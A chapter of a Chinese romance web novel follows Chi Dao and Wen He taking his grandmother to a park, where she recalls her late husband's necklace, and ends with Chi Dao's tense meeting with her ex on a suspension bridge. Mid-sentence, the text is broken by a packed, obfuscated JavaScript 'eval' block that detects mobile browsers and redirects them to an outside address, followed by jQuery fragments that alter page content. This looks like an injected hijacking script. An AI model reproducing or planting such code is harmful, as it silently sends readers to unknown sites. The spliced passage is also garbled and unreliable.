拐角处就是公园里的人造湖,前面搭了一个年代有些久远的吊桥,走过吊桥就可以到达湖对岸。
有孩子和胆子稍大的人在吊桥上跑来跑去,引得吊桥晃动起来。虽看着可怕,但实际上老吊桥加了很多新防护,很安全。
有些胆子稍小的行人,或行动不便的老人,则是沿着湖边再走一段路,绕到靠后面的人造桥走到对岸。
温何扶着黎奶奶,引着她绕路走。
却见黎奶奶路过吊桥时停了下来,她抚过吊桥边缘老旧的支柱木桩。
说是支柱木桩,更不如说是以前留下来的,如今变成了老旧的装饰物,已经起不到支撑吊桥的作用了。
“小温啊,老温攒钱给我买的那条项链我找不到了,能帮我去找一找吗?”黎奶奶突然开口道。
温何看向黎奶奶空荡荡的颈间,神色有些变化。
他借口答应,把池岛拉到一旁低声嘱咐道:“奶奶常带的项链不见了,我一会去旁边打电话问问我爸妈。池岛,麻烦你了,帮我照看一下奶奶。”
池岛点头答应,走回去搀扶住黎奶奶。
水面上泛起一圈圈涟漪,孩子们在吊桥上奔走玩闹,大人们在后面追逐管教。
黎奶奶看着吊桥上的画面,有些出神,她轻轻拍拍池岛的手,那双布满皱纹和岁月痕迹的手掌最终覆在池岛手上。
池岛看着黎奶奶的手,又看了看吊桥上喧闹玩乐的人们,莫名的,心也跟着安定了下来。
“那时也是这样,我在吊桥前面走,气老温没跟我一起来见小温女朋友。小温和小何在后面跟着,不敢出声劝。”
池岛嘴巴动了动,意识到她和温何的装扮已经被黎奶奶识破了,她想说些什么,但看到黎奶奶怀念的神情,还是没有出声。
“谁知道,老温突然出现在吊桥的对面,气喘吁吁地拿着个袋子朝我招手。我当时还在气头上,继续往前走也不是,回头往后退也不是…….”
池岛听着黎奶奶的描述,仿佛真得看到了吊桥对面,气喘吁吁拿着袋子朝着黎奶奶跑来的老温。
“呐,黎同志,给你的。”老温站在对面吊桥底下,脸上已全没有私房钱被发现时的不高兴,脸上满是期待和笑意。
“后来啊,我才知道,他报纸里的钱是为了偷偷给我买下那条项链攒下来的,可我当时还在气头上啊,埋怨他乱花钱,下吊桥时走得急了些还扭伤了脚腕,去医院时感觉在小何面前丢人了,一路没理他。”
黎奶奶望着湖面,明明是在笑着,眼中却生出了几抹遗憾。
“这个人,老实,木讷,又不会说话,我就这样发脾气,他也只是笑呵呵地看着,以至于我都不好继续下去。”黎奶奶笑着说道。
“就是这辈子都过去了,我都没来得及告诉过老温,我很喜欢这条项链,没来得及告诉他,怎么先我一步就走了,这样我下去了可还是要发脾气的……”黎奶奶说着,眼中闪烁着几分湿润。
“不是这样的,”温何眼眶泛红,不知道什么时候走了过来,他站在黎奶奶面前说道:
“爷爷说奶奶就是因为喜欢那条项链,所以才一直戴着没摘下来过,爷爷一直知道的。爷爷还让爸妈照顾好奶奶,他说奶奶发脾气都是有原因的,奶奶其实很好说话,奶奶是天底下最讲道理的一个人,爷爷,爷爷还跟我说走之前最放心不下的就是奶奶……”
“好,好,咱们家小温何也长大了。”黎奶奶拍了拍温何的肩膀,抚慰道。
“奶奶,你认出我来了吗。奶奶,我好想你……”温何抱住黎奶奶眼角湿润,黎奶奶慢慢拍着温何的背,眼神慈祥而明亮。
*
春海公园门口
黎奶奶拉着池岛的手,眼神慈祥和蔼。一如多年前小区楼下摇椅旁那个塞给池岛点心的,总是身体健康,总是透亮精神的老人家。
“小池啊,好孩子。”
池岛看着此刻短暂恢复眼神清明的黎奶奶,点头应到,心里却莫名有些酸涩。
“奶奶知道你很辛苦,一直一个人硬扛着担子往前闯,好孩子,如果累就说出来,别憋在心里硬抗,很多心里认为天大的事,或许说出来就会变得不一样。”黎奶奶轻抚池岛被风吹乱的长发,眼中满是温柔和耐心。
说出来就会不一样吗,池岛并不知道,她总是习惯性地压抑下内心的感受,理性分析一切。
池岛“嗯”了一声,明明是感受到了温暖,明明是想要靠近这份温暖,但却还是克制住了心底的期待,压住翻涌的情绪,扯出一抹笑容点了点头。
温父和温母朝着这边走来,两人看见了黎奶奶眼神清明的样子,眼尾都有些泛红湿润。
温何把车开到公园门口附近,温父温母搀着黎奶奶走进车里,池岛站在车外。
“确定不用我回来接你吗?我把家里人送回酒店,很快的。”温何打开车窗,朝着池岛问道。
池岛摇了摇头,让温何趁这次机会,多陪陪黎奶奶。
后座车窗打开,温父和温母再次表达了对池岛帮助的感谢,黎奶奶笑着看向池岛,挥了挥手跟她告别。
车子慢慢行驶起来,池岛嘴角牵起了笑意,也朝着黎奶奶挥手告别。
车子慢慢消失在视野中,池岛放下挥舞的手,后知后觉地意识到这场扮演家人的“游戏”结束了。
她短暂的体会了一下融入温家,又很快的抽离出去。
*
十分钟后,池岛仍旧站在春海公园门口。
不是还没走,是到附近地铁站安检时,才意识到随身携带的黑色皮包落在了公园里,所以现在才又急匆匆地赶了回来。
池岛深吸了口气,重新踏入春海公园。
她思索了一番,意识到黑色皮包落在了跟黎奶奶一起休息的长椅上,也就是遇到摄影人群的那个地方。
池岛没有沿着最初的方向一路走过去,而是走了近路,从吊桥经过返回长椅那里。
夏日的蝉鸣接连不断,所幸这座公园最不缺的就是树木,接连不断的枝叶挡住了空中的太阳,带来几分阴凉和惬意。
池岛思绪放空,等踏上吊桥石阶站到真正的吊桥前,看到了摇晃的锁链和木板,才后知后觉地涌现出怯意。
当时陪着黎奶奶,看大人孩子们在吊桥上玩闹时不觉着有什么,等她真伸出一只脚踏上去,又看了看前方晃动的吊桥木板路,才意识到为何桥头挂着“小心游玩”的牌子。
还是绕着湖边走一段路,从前面的石板桥上走到湖对面去吧。
池岛走下了吊桥石阶,重新走回沿湖小路。
直到看到了,迎面走来的,扛着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464531|185466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整理好的摄影设备的人群。
池岛下意识后退回吊桥石阶上,借着树木遮挡住自己的身影。
不是早就已经离开了吗?怎么现在这些人还没走,池岛躲在树后面,莫名有些心虚。她不敢像帮温何整理头发时那样,再次明目张胆地在人群中搜寻陆知屿的踪迹。
也许是看错了,也许是把别人错认成了陆知屿,这群人中根本没有陆知屿。
池岛这样在内心开解自己,可当那群人离吊桥越来越近时,她却不由自主地向后退缩,直到一只脚再次踏进摇摇晃晃的吊桥木板中。
两三个孩子从她身边跑过,吊桥晃得更加厉害。摄影人群距离吊桥越来越近,直到池岛甚至能听到他们的谈话声。
不管了,先走了再说。
池岛认怂,闭眼转身一头扎进吊桥上,她紧紧抓住扶手,摸索着朝前踏步,心中却不断祈祷身后那群人中没有陆知屿,更祈祷就算有陆知屿也要错过没有认出自己。
闭上眼睛之后,所有的感官变得更加敏锐,池岛更能清楚的感知到吊桥的晃动,尽管知道这座年代久远的吊桥早已经过层层加固,十分安全,但当听到脚下木板的“嘎吱”声时,她还是不可避免地感到紧张。
摄影人群闲聊的声音逐渐远去,池岛深吸一口气,感觉放松了些。
她低着头睁开眼睛,发现自己已经走到了吊桥中央,有个人站在了自己的前面,正对着自己。
她抬起头,就看到了面色冷淡如常,嘴角却似笑非笑的陆知屿。
“你的包落下了。”陆知屿晃了晃手中的黑色皮包,微微低下头,看向池岛的眼睛。
“啊?”陆知屿的脸逐渐靠近,池岛却只感觉大脑生锈,有些反应不过来。
“别跑!”小孩子的声音传来,两个小孩一前一后地快步从两人面前跑过,引得吊桥再次大幅度地晃动起来。
池岛还没反应过来抓稳一旁的锁链,就被陆知屿拥入怀中,稳住重心,慢慢朝着吊桥对岸走去。
一瞬之间,池岛心跳如同擂鼓般不停跳动。她有些分不清,这心跳究竟是因为脚底晃动的吊桥木板,还是因为陆知屿突如其来的靠近。
不,是因为吊桥的晃动,池岛强迫自己冷静下来。
两人走下吊桥,迈过石阶,陆知屿松开手臂。
池岛站在平地上,看向陆知屿,不明白为何自己已经稳稳地站在了地面上,心跳声却依旧强烈,如何都无法遮掩下去。
“为什么?”陆知屿将黑色皮包塞进池岛怀里,眼神却隐藏着几分晦暗不明。
什么为什么,池岛努力压制住心里的那份悸动,开始思考,为什么心跳声如此明显?为什么她要帮温何整理翘起的碎发?为什么要看到陆知屿在摄影人群后故意躲避?
池岛排除后面两个有些自恋的选项,选择根据直觉回答第一个为什么的问题。
“这是一种心理效应,在吊桥上,人心跳加快看到异性时,会误认为成是对方的心动,所以我的心跳是因为吊桥而起……”池岛深吸口气,缓解不断热烈跳动的心脏,故意避开陆知屿的视线,认真科普道。
陆知屿眼中闪过一丝落寞,又很快消逝,他轻笑一声,说出的话却和分手时别无二致。
他说:“池岛,你还是和以前一样,根本没有心。”